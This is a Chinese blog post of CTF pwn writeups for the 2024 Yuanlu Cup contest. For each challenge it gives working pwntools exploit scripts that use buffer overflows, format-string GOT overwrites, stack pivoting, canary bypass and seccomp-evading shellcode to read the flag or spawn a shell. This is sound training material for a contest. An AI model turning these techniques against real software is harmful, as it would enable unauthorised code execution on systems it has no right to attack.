sysNow's blog

2024“源鲁杯”高校网络安全技能大赛writeup

2024-10-22
CTF
2024新生赛
最后更新:2024-12-06
10分钟
1948字

[Round 1] giaopwn

default

default

default

这一题覆盖完rbp后,只能输入三个p64()数据,这里可以找到cat flag的字符串,所以我们考虑先控制rdi为cat flag的地址,后返回到system函数(此次返回要返回到call _system的位置,如果直接返回到system的plt表位置,将会因为栈未对齐导致失败,因为我们不知道system函数的真实地址,同时没有空间让我们插入ret,所以采取这个方式)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
8 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
rl()
19
s(b"a" * 40 + p64(0x400743) + p64(0x601048) + p64(0x4006D2))
20
21
ia()
22
# set follow-fork-mode parent
23
# set detach-on-fork on

[Round 1] ezfmt

default

default

可以看到,这里存在格式化字符串的漏洞,在read时也可以同步覆盖rbp和返回地址

我们可以考虑,一次性修改printf的got表地址,让它变成system的真实地址

default

我们可以控制格式化字符串和返回地址达到循环执行vuln的目的

第一次循环,泄露libc基址 第二次循环,修改printf的got表地址 第三次循环,执行system(“/bin/sh”)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
18 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
vuln = 0x40120D
19
payload = b"%13$p"+b"A"*(0x28-5)+p64(vuln)
20
s(payload)
21
ru(b"0x")
22
libc_base = int(r(12),16)-0x24083
23
system = libc_base+libc.sym["system"]
24
25
printf_got = elf.got["printf"]
26
payload = (b"%"+str((system>>16)&0xff).encode()+b"c%9$hhn"+b"%"+str((system&0xffff)-((system>>16)&0xff)).encode()+b"c%10$hn").ljust(0x18,b"A")+p64(printf_got+2)+p64(printf_got)+p64(vuln)
27
s(payload)
28
sleep(2)
29
s(b"/bin/sh\x00")
30
31
ia()
32
# set follow-fork-mode parent
33
# set detach-on-fork on

[Round 1] ezorw

default

default

default

可以看到,程序通过mmap申请了一块区域,从gdb中可以看到,这一块区域可读可写可执行.我们可以通过read注入shellcode来获取flag

default

从这里可以看到,程序开启了沙箱机制,禁用了read write等函数,于是我们考虑openat+sendfile

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
25 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
# openat 257
19
# sendfile 40
20
# /flag -> 0x67616c662f
21
shell = asm('''
22
mov rsi,0x67616c662f
23
push rsi
24
mov rsi,rsp
25
mov rdx,0
26
mov rax,257
27
syscall
28
mov rdi,1
29
mov rsi,rax
30
mov rdx,0
31
mov r10,100
32
mov rax,40
33
syscall
34
'''
35
)
36
s(shell)
37
38
ia()
39
# set follow-fork-mode parent
40
# set detach-on-fork on

[Round 1] canary_orw

default

default

default

可以看到,程序采用了沙箱机制,禁用了execve函数,我们可以考虑openat/open+sendfile或者open+read+write,也可以直接ShellcodeMall.amd64.cat_flag

在主函数中,我们可以修改返回地址到vuln

default

在vuln中,我们可以溢出buf来修改v3的数据,再通过sys_read来实现任意地址写,我们考虑通过这个任意地址写,修改___stack_chk_fail的got表为leave ret的地址,这样就可以绕过canary

default

通过这一串汇编,我们可以让rip跳转到栈顶执行shellcode

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
39 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
# openat 257 // open 2
19
# sendfile 40 // read 0 // write 1
20
# /flag -> 0x67616c662f
21
ru(b"Say some old spells to start the journey\n")
22
s(p64(0x400820))
23
24
ru(b"Tell me the location of the Eye of the Deep Sea\n")
25
s(b"A"*8+p64(0x0601038))
26
ru(b"I have magic\n")
27
s(p64(0x4008ef))
28
ru(b"Let's go!\n")
29
# shell = open+read+write
30
shell = asm('''
31
mov rax,2
32
mov rdi,0x67616c662f
33
push rdi
34
mov rdi,rsp
35
xor rsi,rsi
36
syscall
37
mov rdi,rax
38
mov rsi,0x601500
39
mov rdx,100
40
mov rax,0
41
syscall
42
mov rdi,1
43
mov rsi,0x601500
44
mov rdx,100
45
mov rax,1
46
syscall
47
'''
48
)
49
s(b"A"*0x28+p64(0x40081B)+shell)
50
# s(b"A"*0x28+p64(0x40081B)+ShellcodeMall.amd64.cat_flag)
51
52
ia()
53
# set follow-fork-mode parent
54
# set detach-on-fork on

[Round 1] ezstack

default

default

default

思路一:

可以看到,stack函数内存在栈溢出,如果返回到vuln的顶部,则要想办法通过过滤拿到shell.初步探索可得system函数执行$SHELL$0在一定程度上来说,可以拿到shell

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
13 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
ret_addr = 0x40101a
19
vuln = 0x401275
20
payload = b"A"*(0x30+8)+p64(ret_addr)+p64(vuln)
21
s(payload)
22
ru(b"input your command")
23
s(b"$0")
24
# s(b"$SHELL") 远端拿不到shell
25
26
ia()
27
# set follow-fork-mode parent
28
# set detach-on-fork on

思路二:

default

通过这一串汇编代码,一方面在指定位置输入数据,另一方面进行栈迁移

default

再通过这一串汇编执行system

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
17 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
ret_addr = 0x40101a
19
leave_ret = 0x40101a
20
read_leave_ret = 0x401257
21
wseg = 0x404800
22
payload = b"A"*(0x30)+p64(wseg+0x30)+p64(read_leave_ret)
23
s(payload)
24
sleep(2)
25
call_system = 0x401344
26
bin_sh = wseg
27
payload = b"/bin/sh\x00"+b"A"*(0x30-8)+p64(bin_sh+0x40)+p64(call_system)
28
s(payload)
29
30
ia()
31
# set follow-fork-mode parent
32
# set detach-on-fork on

[Round 2] ezstack2

default

default

default

控制rdi为1131796再返回vuln即可

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
10 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
s(b"A"*0x38+p64(0x400823)+p64(1131796)+p64(0x400758))
19
20
ia()
21
# set follow-fork-mode parent
22
# set detach-on-fork on
23
# openat 257 // open 2
24
# sendfile 40 // read 0 // write 1
25
# /flag -> 0x67616c662f

[Round 2] magicread

default

default

default

考虑通过这一串汇编实现输入+栈迁移

本题要栈迁移四次

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
30 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
ebp1 = 0x601400
19
leave_ret = 0x400691
20
read_leave_ret = 0x400675
21
ru(b"just read!")
22
payload = b"A"*(0x40)+p64(ebp1+0x40)+p64(read_leave_ret)
23
s(payload)
24
sleep(2)
25
rdi_ret = 0x0400723
26
puts_got = elf.got["puts"]
27
puts_plt = elf.plt["puts"]
28
ebp2 = 0x601600
29
payload = p64(ebp2+0x40)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(read_leave_ret)+b"A"*(24)+p64(ebp1)+p64(leave_ret)
30
s(payload)
31
sleep(2)
32
puts_addr = x64()
33
print("puts_addr = ",hex(puts_addr))
34
35
libc_base = puts_addr-libc.sym["puts"]
36
system = libc_base+libc.sym["system"]
37
payload = b"/bin/sh\x00"+p64(rdi_ret)+p64(ebp2)+p64(system)+b"A"*(32)+p64(ebp2)+p64(leave_ret)
38
s(payload)
39
40
ia()
41
# set follow-fork-mode parent
42
# set detach-on-fork on
43
# openat 257 // open 2
44
# sendfile 40 // read 0 // write 1
45
# /flag -> 0x67616c662f

[Round 2] shortshell

default

default

可以执行shellcode,但是只有五字节…

default

存在后门函数,也就是说,shellcode只需要实现跳转

这里想到jmp跳跃,由于jmp是以目前的地址为基础的,我们可以算出jmp -0x2df9

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
10 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
s(b"\xe9\x03\xd2\xff\xff")
19
20
ia()
21
# set follow-fork-mode parent
22
# set detach-on-fork on
23
# openat 257 // open 2
24
# sendfile 40 // read 0 // write 1
25
# /flag -> 0x67616c662f

[Round 3] Secret

太简单,懒得说

default

default

default

[Round 3] ezstack3

default

可以看到,我们可以控制ebp和返回地址,优先考虑栈迁移

default

用这一串汇编来实现输入新数据+栈迁移

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
17 collapsed lines
16
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
17
18
read_leave_ret = 0x08049312
19
ebp1 = 0x804c900
20
# payload = b"A"*(0x34)+p32(0x08049326)
21
payload = b"A"*(0x30)+p32(ebp1+0x30)+p32(read_leave_ret)
22
s(payload)
23
ru(b"pwn!")
24
sl("0")
25
sleep(2)
26
leave_ret = 0x08049185
27
payload = b"/bin/sh\x00"+p32(0x08049347)+p32(ebp1+5)+b"A"*(0x20)+p32(ebp1+4)+p32(leave_ret)
28
s(payload)
29
30
ia()
31
# set follow-fork-mode parent
32
# set detach-on-fork on

这道题貌似有bug,不知道为什么,如果将/bin/sh的地址整一个作为参数,则在执行system的时候会覆盖/bin四个字符,于是我们考虑执行system("sh").

这道题如果将payload改为payload = b"/bin/sh\x00"+p32(elf.plt["system"])+p32(0)+p32(ebp1+5)+b"A"*(0x20-4)+p32(ebp1+4)+p32(leave_ret),无法执行;改为payload = b"/bin/sh\x00"+p32(elf.plt["system"])+p32(0)+p32(ebp1)+b"A"*(0x20-4)+p32(ebp1+4)+p32(leave_ret)也无法执行,详细原因不明确

本文标题:2024“源鲁杯”高校网络安全技能大赛writeup
文章作者:sysNow
发布时间:2024-10-22